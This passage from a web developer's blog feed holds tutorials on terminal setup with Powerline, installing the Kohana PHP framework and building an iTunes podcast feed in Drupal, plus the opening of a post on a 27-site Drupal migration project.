&lt;li&gt;
&lt;p&gt;Install &lt;a href=&quot;https://github.com/powerline/powerline&quot;&gt;Powerline&lt;/a&gt; to get all the cool glyphs to show up. This requires a few more steps. I&apos;m also assuming you already have Homebrew installed. These steps are referenced from &lt;a href=&quot;http://blog.codefront.net/2013/10/27/installing-powerline-on-os-x-homebrew/&quot;&gt;Chu Yeow&apos;s article&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Install python with homebrew&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install python
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install vim with homebrew&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;brew install vim --env-std --override-system-vim
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You must install vim after python so that it’ll compile with homebrew’s python.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Install powerline with pip&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip install https://github.com/Lokaltog/powerline/tarball/develop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Powerline should get installed to &lt;code&gt;/usr/local/lib/python2.7/site-packages/powerline&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Open &lt;code&gt;/usr/local/lib/python2.7/site-packages/powerline&lt;/code&gt;. You should see the files required for integration with zsh, vim, tmux, etc. in the bindings directory.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add Powerline to zsh by adding this to your .zshrc file.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;source /usr/local/lib/python2.7/site-packages/powerline/bindings/zsh/powerline.zsh
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You need to use a patched font, or one that is compatible with Powerline, as the non-ASCII font for iTerm2. I&apos;m using &lt;a href=&quot;http://input.fontbureau.com/&quot;&gt;Input Mono&lt;/a&gt;. Here&apos;s a list of &lt;a href=&quot;https://github.com/powerline/fonts&quot;&gt;patched fonts&lt;/a&gt; you can use. Go to the iTerm2 preferences, under Profiles, you will find the Text options where you can set your font of choice.
&lt;img src=&quot;/images/posts/zsh/zsh-1.jpg&quot; alt=&quot;iTerm2 preferences&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you happen to encounter an a long string of errors with the last line showing &lt;code&gt;ValueError: unknown locale: UTF-8&lt;/code&gt;, then you need to add the following to your .zshrc file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export LC_ALL=en_US.UTF-8
export LANG=en_US.UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Move over your bash configurations from your .bash&lt;em&gt;profile and .bashrc files to your .zshrc file. _Note: this was simple and straightforward for me because I didn&apos;t have much in those files to begin with. Just a couple of aliases and paths.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And that&apos;s it. We now have a levelled-up terminal for all our development needs. Happy coding!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/zsh/zsh-2.jpg&quot; alt=&quot;Prezto setup&quot;&gt;&lt;/p&gt;
&lt;h3&gt;References&lt;/h3&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://mikebuss.com/2014/02/02/a-beautiful-productive-terminal-experience/&quot;&gt;A Beautifully Productive Terminal Experience&lt;/a&gt; by &lt;a href=&quot;http://mikebuss.com/&quot;&gt;Mike Buss&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://joshsymonds.com/blog/2014/06/12/shell-awesomeness-with-prezto/&quot;&gt;Shell Awesomeness With Prezto&lt;/a&gt; by &lt;a href=&quot;http://joshsymonds.com/&quot;&gt;Josh Symonds&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.codefront.net/2013/10/27/installing-powerline-on-os-x-homebrew/&quot;&gt;Installing Powerline on OS X + homebrew&lt;/a&gt; by &lt;a href=&quot;http://blog.codefront.net/&quot;&gt;Chu Yeow&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Kohana 101: Installation and setup</title><link>https://chenhuijing.com/blog/kohana-101-installation/</link><guid isPermaLink="true">https://chenhuijing.com/blog/kohana-101-installation/</guid><description>Update: The Kohana framework has been deprecated and the last stable version was 3.3.6 released on 25 July 2006. I&apos;m starting on something completely new to…</description><pubDate>Mon, 18 May 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Update: The Kohana framework has been deprecated and the last stable version was 3.3.6 released on 25 July 2006.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I&apos;m starting on something completely new to me: the &lt;a href=&quot;https://kohanaframework.org/&quot;&gt;Kohana&lt;/a&gt; framework, and this is my attempt to document everything I&apos;m learning. When I started this blog, I was already one year into Drupal, and so a lot of the things I struggled with as a noob had more or less evaporated from my mind. For Kohana, I&apos;m a complete noob once again, so hopefully this will be helpful to somebody who&apos;s starting from zero as well.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;As of time of writing, the latest stable version of Kohana is v3.3.3.1. There are 2 ways to install Kohana on your system, either download the .zip file from the homepage or get the files via git. If you choose the first option, extract the contents of the .zip file into your local web root. If you choose the second option, navigate to your local web root and run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone git://github.com/kohana/kohana.git
cd kohana/
git submodule init
git submodule update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note: If you need to use a version of Kohana other than the latest stable version, you can try downloading it from the &lt;a href=&quot;https://web.archive.org/web/20170606095640/http://kohanaframework.org/download&quot;&gt;archives&lt;/a&gt;, but the last I tried, the archives were offline. Your best bet is to get it from Kohana&apos;s &lt;a href=&quot;https://github.com/kohana/kohana&quot;&gt;GitHub repository&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;For installation via git, there is an extra step to switch git branches if you need an earlier version.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone git://github.com/kohana/kohana.git
cd kohana/
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;To see all the branches, run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git branch -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/kohana-install/installation-3.jpg&quot; alt=&quot;Git branch list&quot;&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;For example, if you need v3.0, run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git checkout 3.0/master
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;Once you&apos;re on the version branch of your choice, run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git submodule init
git submodule update
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;Open the &lt;code&gt;bootstrap.php&lt;/code&gt; file in the &lt;code&gt;application&lt;/code&gt; folder. There are a couple of things to change in this file.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Update your default timezone.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;date_default_timezone_set(&apos;Asia/Singapore&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Update the base_url to point to your site installation.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;Kohana::init(array(
   &apos;base_url&apos;   =&amp;gt; &apos;/kohana3/&apos;,
));
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Enable modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;Kohana::modules(array(
   &apos;auth&apos;       =&amp;gt; MODPATH.&apos;auth&apos;,       // Basic authentication
   &apos;cache&apos;      =&amp;gt; MODPATH.&apos;cache&apos;,      // Caching with multiple backends
   &apos;codebench&apos;  =&amp;gt; MODPATH.&apos;codebench&apos;,  // Benchmarking tool
   &apos;database&apos;   =&amp;gt; MODPATH.&apos;database&apos;,   // Database access
   &apos;image&apos;      =&amp;gt; MODPATH.&apos;image&apos;,      // Image manipulation
   &apos;orm&apos;        =&amp;gt; MODPATH.&apos;orm&apos;,        // Object Relationship Mapping
   &apos;oauth&apos;      =&amp;gt; MODPATH.&apos;oauth&apos;,      // OAuth authentication
   &apos;pagination&apos; =&amp;gt; MODPATH.&apos;pagination&apos;, // Paging of results
   &apos;unittest&apos;   =&amp;gt; MODPATH.&apos;unittest&apos;,   // Unit testing
   &apos;userguide&apos;  =&amp;gt; MODPATH.&apos;userguide&apos;,  // User guide and API documentation
));
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you navigate to the site root from your browser, you should see this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/kohana-install/installation.jpg&quot; alt=&quot;Environment ready&quot;&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;You need to adjust the permissions on the &lt;code&gt;cache&lt;/code&gt; and &lt;code&gt;logs&lt;/code&gt; folders. From your terminal, navigate to the &lt;code&gt;application&lt;/code&gt; folder and run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo chmod 777 cache/ logs/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Refresh the page and you should now see:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/kohana-install/installation-2.jpg&quot; alt=&quot;Initial screen&quot;&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Delete the &lt;code&gt;install.php&lt;/code&gt; file from the root folder via your favourite method. I just use:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;rm install.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, when you refresh the page, you should see a &lt;em&gt;hello, world!&lt;/em&gt; message. We now have a fresh Kohana site on our hands to play with.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Creating an iTunes podcast feed</title><link>https://chenhuijing.com/blog/drupal-101-generating-itunes-rss/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-generating-itunes-rss/</guid><description>Podcast listenership has been steadily increasing in recent years, and some are even predicting that we&apos;re on the verge of a podcasting explosion. With that…</description><pubDate>Mon, 04 May 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Podcast listenership has been steadily increasing in recent years, and some are even predicting that we&apos;re on the verge of a &lt;a href=&quot;http://contently.com/strategist/2014/10/21/4-predictions-from-top-media-minds/&quot;&gt;podcasting explosion&lt;/a&gt;. With that being said, it&apos;s pretty likely you&apos;ll get tasked with creating an iTunes podcast feed. Luckily, it&apos;s quite simple to create one on your Drupal site with Views.&lt;/p&gt;
&lt;h3&gt;Required modules&lt;/h3&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/views&quot;&gt;Views&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/views_rss&quot;&gt;Views RSS&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/views_rss_itunes&quot;&gt;Views RSS: iTunes Elements&lt;/a&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/project/libraries&quot;&gt;Libraries&lt;/a&gt;&lt;em&gt; (dependency for getID3())&lt;/em&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href=&quot;https://www.drupal.org/project/getid3&quot;&gt;getID3()&lt;/a&gt;&lt;em&gt; (dependency for Views RSS: iTunes Elements)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Create/Modify content type for feed&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Install and enable the required modules.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush en views views_ui views_rss views_rss_core views_rss_itunes libraries getid3 -y
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Create a new folder in your libraries folder like so: &lt;code&gt;sites/all/libraries/getid3&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Go to &lt;a href=&quot;http://www.getid3.org/&quot;&gt;http://www.getid3.org/&lt;/a&gt; and download the appropriate version based on your web server&apos;s PHP version.&lt;/li&gt;
&lt;li&gt;Make sure &lt;code&gt;write.php&lt;/code&gt; is in &lt;code&gt;sites/all/libraries/getid3/getid3&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your content type should have fields that can be mapped to the &lt;a href=&quot;https://www.apple.com/sg/itunes/podcasts/specs.html#rss&quot;&gt;recommended iTunes RSS tags&lt;/a&gt;. Apple kindly provided a very helpful graphic for this.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://www.apple.com/sg/itunes/podcasts/images/itunes-podcast-display.jpg&quot; alt=&quot;Common iTunes tags&quot;&gt;&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Not all the tags are required. But it&apos;s good practice to include the following (as shown in the image above) so your podcast shows up nicely on the iTunes store:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;channel &amp;lt;itunes:author&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;channel &amp;lt;itunes:image&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;channel &amp;lt;title&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;channel &amp;lt;itunes:summary&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;item &amp;lt;title&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;item &amp;lt;itunes:duration&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;item &amp;lt;pubDate&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;item &amp;lt;itunes:subtitle&amp;gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;item &amp;lt;itunes:summary&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p class=&quot;no-margin&quot;&gt;Create a content type with at least the following fields:&lt;/p&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Title&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Description &lt;em&gt;(just repurpose the Body field)&lt;/em&gt;&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Image&lt;/li&gt;
    &lt;li&gt;Audio - Use the &lt;em&gt;File&lt;/em&gt; field&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you already have a content type that has an audio file field, you can skip this. Otherwise, when creating the new file field, make sure you change the allowed file extensions accordingly. iTunes accepts m4a, mp3, mov, mp4, m4v, pdf, epub.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/itunes/file-types.jpg&quot; alt=&quot;Allowed file extensions&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Create the Feed view&lt;/h2&gt;
&lt;p&gt;For this example, I&apos;ll be recreating the sample feed from the &lt;a href=&quot;https://www.apple.com/sg/itunes/podcasts/specs.html&quot;&gt;Making a Podcast&lt;/a&gt; guide by Apple.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a new view for your content type.
&lt;img src=&quot;/images/posts/itunes/new-view.jpg&quot; alt=&quot;Create new view&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a feed view display. Specify the file name of your feed file, &lt;code&gt;podcast.rss&lt;/code&gt; is a good option.
&lt;img src=&quot;/images/posts/itunes/feed-display.jpg&quot; alt=&quot;Create feed display&quot;&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under &lt;em&gt;Format&lt;/em&gt;, select &lt;em&gt;RSS Feed - Fields&lt;/em&gt; as the format. The Views add-on for iTunes elements provides fields for all the available tags, and you can decide which ones you want to use. The module also helpfully points out which ones are required by Apple. For now, just click &lt;em&gt;Apply&lt;/em&gt; on the &lt;em&gt;Settings&lt;/em&gt; interface because we need to add the necessary fields first.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;There are quite a number of fields to add and I&apos;ll go through each one as some of them need tweaking to ensure the feed will validate properly. For all the fields, uncheck &lt;em&gt;Create a label&lt;/em&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content: Title&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;title&amp;gt;&lt;/strong&gt;
This field is present by default. Ensure that &lt;em&gt;Link this field to the original piece of content&lt;/em&gt; is unchecked. &lt;strong&gt;a&lt;/strong&gt; tags are not allowed in the title field.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content: Body&lt;/strong&gt; maps to &lt;strong&gt;&amp;lt;itunes:subtitle&amp;gt;&lt;/strong&gt; and &lt;strong&gt;&amp;lt;itunes:summary&amp;gt;&lt;/strong&gt;
Add the Content: Body field and set the format to trimmed. Adjust the trim length as required. Under &lt;em&gt;Rewrite results&lt;/em&gt;, ensure &lt;em&gt;Strip HTML tags&lt;/em&gt; is checked. HTML tags are not allowed in the &lt;em&gt;&amp;lt;itunes:subtitle&amp;gt;&lt;/em&gt; or &lt;em&gt;&amp;lt;itunes:summary&amp;gt;&lt;/em&gt; fields.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content: Path&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;link&amp;gt;&lt;/strong&gt;
Add the Content: Path field and under &lt;em&gt;Rewrite results&lt;/em&gt;, ensure &lt;em&gt;Use absolute link (begins with &amp;quot;http://&amp;quot;)&lt;/em&gt; is checked. The link field must contain full URLs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content: Post date&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;pubDate&amp;gt;&lt;/strong&gt;
Before you add the field, you need to add a RFC-822 date format to your site. Go to &lt;code&gt;/admin/config/regional/date-time/formats&lt;/code&gt; and adding the Format string: &lt;strong&gt;D, d M Y H:i:s O&lt;/strong&gt;. Then, go to &lt;code&gt;/admin/config/regional/date-time&lt;/code&gt; and add a date type using this new format.
Add the Content: Post date field and set the &lt;em&gt;Date format&lt;/em&gt; to the RFC 822 format you just created. The pubDate field must be in the RFC 822 format.&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;The next three fields are duplicates, just formatted differently.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Content: Audio&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;enclosure&amp;gt;&lt;/strong&gt;
Add the Content: Audio field and set the &lt;em&gt;Formatter&lt;/em&gt; to &lt;em&gt;RSS &amp;lt;enclosure&amp;gt; element&lt;/em&gt;. I strongly suggest changing the &lt;em&gt;Administrative title&lt;/em&gt; (under More) to something like Content: Audio (enclosure) for easier identification.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content: Audio&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;itunes:duration&amp;gt;&lt;/strong&gt;
Add another Content: Audio field and set the &lt;em&gt;Formatter&lt;/em&gt; to &lt;em&gt;RSS &amp;lt;itunes:duration&amp;gt; element&lt;/em&gt;. Change the &lt;em&gt;Administrative title&lt;/em&gt; (under More) to something like Content: Audio (duration) for easier identification.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content: Audio&lt;/strong&gt; maps to &lt;strong&gt;item &amp;lt;guid&amp;gt;&lt;/strong&gt;
Add another Content: Audio field and set the &lt;em&gt;Formatter&lt;/em&gt; to &lt;em&gt;URL to file&lt;/em&gt;. Change the &lt;em&gt;Administrative title&lt;/em&gt; (under More) to something like Content: Audio (guid) for easier identification.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Under &lt;em&gt;Format&lt;/em&gt;, click on &lt;em&gt;Settings&lt;/em&gt;. This is where you map your fields to their respective tags.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For &lt;em&gt;Channel elements: core&lt;/em&gt;, fill in the following fields:  &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;description -&gt; description of the entire podcast&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;language -&gt; language code for the channel&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;category -&gt; multiple categories allowed&lt;/li&gt;
  &lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For &lt;em&gt;Channel elements: itunes&lt;/em&gt;, fill in the following fields:  &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;subtitle -&gt; subtitle for the entire podcast&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;summary -&gt; brief summary for the entire podcast&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;category -&gt; multi-select field of iTunes categories&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;image -&gt; enter a URL for the image&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;explicit -&gt; select either yes, no or clean&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;owner -&gt; format is: john.smith@example.com, John Smith&lt;/li&gt;
  &lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For &lt;em&gt;Item elements: core&lt;/em&gt;, map the following fields:  &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;title -&gt; Content: Title&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;link -&gt; Content: Path&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;description -&gt; Content: Body&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;enclosure -&gt; Content: Audio (enclosure)&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;guid -&gt; Content: Audio (guid)&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;pubDate -&gt; Content: Post date&lt;/li&gt;
  &lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For &lt;em&gt;Item elements: itunes&lt;/em&gt;, map the following fields:  &lt;ul&gt;
      &lt;li class=&quot;no-margin&quot;&gt;subtitle -&gt; Content: Body&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;summary -&gt; Content: Body&lt;/li&gt;
      &lt;li class=&quot;no-margin&quot;&gt;duration -&gt; Content: Audio (duration)&lt;/li&gt;
  &lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you scroll down to the Preview panel, you should see a nice XML file ready to be sent over to iTunes. But before that, we need to make sure our feed passes validation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Testing your feed file&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;There are a couple ways you can do this. I exported my podcast.rss file and hosted it on my GitHub account, but you can host it anywhere you want. If you have a staging site to deploy to for testing, even better. Go to &lt;a href=&quot;http://castfeedvalidator.com/&quot;&gt;Cast Feed Validator&lt;/a&gt; and enter the URL to your feed file.&lt;/li&gt;
&lt;li&gt;If all goes well, you should see something like this:
&lt;img src=&quot;/images/posts/itunes/validation.jpg&quot; alt=&quot;Feed validation&quot;&gt;&lt;/li&gt;
&lt;li&gt;Note that if you exported your podcast.rss file from local development, and your site domain isn&apos;t a legit domain (I use &lt;strong&gt;.dev&lt;/strong&gt; on my local), your feed will not validate. But this can be ignored because once you deploy to an actual site, this issue will be resolved.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;If you run into AJAX errors...&lt;/h2&gt;
&lt;p&gt;I&apos;m not too sure if this is a localised issue or not, so I&apos;m just adding on what I did to resolve the AJAX issues I encountered.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Downgrade the getid3 module to version 7.x-1.0&lt;/li&gt;
&lt;li&gt;Double-check that Drupal recognises the getid3 library by checking Status Report&lt;/li&gt;
&lt;li&gt;Make sure the getid3 library path matches the actual folder name in your Libraries folder&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;And that&apos;s pretty much it. Your feed should be ready for submission to the iTunes store. I suggest using the &lt;a href=&quot;https://www.apple.com/sg/itunes/podcasts/specs.html&quot;&gt;Making a Podcast&lt;/a&gt; documentation as a checklist just to ensure everything is in order. Happy podcasting!&lt;/p&gt;
</content:encoded></item><item><title>The one on the tightest of deadlines</title><link>https://chenhuijing.com/blog/the-one-on-the-tightest-of-deadlines/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-on-the-tightest-of-deadlines/</guid><description>I feel large-scale projects are like play-off games. You can&apos;t expect to win without adequate preparation. You need to scout your opponents and formulate a…</description><pubDate>Mon, 27 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I feel large-scale projects are like play-off games. You can&apos;t expect to win without adequate preparation. You need to scout your opponents and formulate a game plan, which involves matching up your opponent&apos;s strengths and weaknesses against your own.&lt;/p&gt;
&lt;p&gt;You may have gotten away with just winging it during the regular season, but come play-off time, everybody is out to win, and every ounce of preparation is critical.&lt;/p&gt;
&lt;p&gt;Similarly, a large-scale project should involve a significant amount of up-front planning and preparation before any actual development takes place. We took on a project that involved the migration of 27 sites from a proprietary CMS platform over to an Acquia-hosted Drupal platform within 30 days.&lt;/p&gt;
&lt;p&gt;It was the biggest project I had been involved in up till then, and I&apos;m proud to say we managed to pull it off on schedule.&lt;/p&gt;
&lt;h2&gt;Opponent&apos;s scouting report summary (aka project requirements)&lt;/h2&gt;
&lt;ul&gt;
    &lt;li class=&quot;no-margin&quot;&gt;All the content had to move into its new home by the stipulated deadline&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Content should be structured as much as possible for extensibility and reusability across the different sites&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;Each site had its own look and feel, and was to be replicated as close to the original as possible&lt;/li&gt;
    &lt;li class=&quot;no-margin&quot;&gt;The deployment would be a big-bang approach, where all the sites would be switched over to the new platform at the same time&lt;/li&gt;
    &lt;li&gt;The deadline could not be negotiated&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Game plan overview (aka project plan)&lt;/h2&gt;
&lt;p&gt;Given the narrow margin for error, the success of the project hinged on close collaboration between ourselves, the client and the previous vendor, who would be facilitating the cut-over. We planned for the work to be divided into two phases.&lt;/p&gt;
&lt;h3&gt;Phase 1: Architecture design and development&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Infrastructure design&lt;/strong&gt;&lt;br&gt;
There were 2 options under consideration, Domain Access or a multi-site implementation. But based on an initial analysis of the site architecture and requirements, we were leaning toward the multi-site implementation with a single database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Content structuring&lt;/strong&gt;&lt;br&gt;
Analyse all 27 sites to sift out repeatable patterns that could be built into reusable components, both in terms of site architecture, as well as theming.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Component generation&lt;/strong&gt;&lt;br&gt;
Create all necessary content types, fields, views, pages, custom panes and other components. Build feeds importers where applicable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Final requirement check and UAT&lt;/strong&gt;&lt;br&gt;
Verify scope of work and required functionality with client, but the guiding principle was that any functionality that was not critical for the migration of content would be differed to after the cut-over.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Instantiation of 27 sites&lt;/strong&gt;&lt;br&gt;
Install and setup 27 sites with basic theme and templates.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;By the end of Phase 1, the team of content migrators could start porting over the content from the old platform to the Drupal sites. The content migration would run in parallel with Phase 2.&lt;/p&gt;
&lt;h3&gt;Phase 2: Building individual sites&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Create parent theme&lt;/strong&gt;&lt;br&gt;
This theme would provide the styling for all shared components across the 27 sites. These components would come from item #2 in Phase 1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Build out site structure for each site&lt;/strong&gt;&lt;br&gt;
Panelizer was the option of choice for putting together the components to build out each of the 27 sites.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Create sub-themes for each site&lt;/strong&gt;&lt;br&gt;
Each sub-theme would contain styles that gave each site its unique look and feel.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Final UAT&lt;/strong&gt;&lt;br&gt;
The client team would perform UAT on the sites and verify that all sites were good to go-live.&lt;/li&gt;
&lt;/ol&gt;
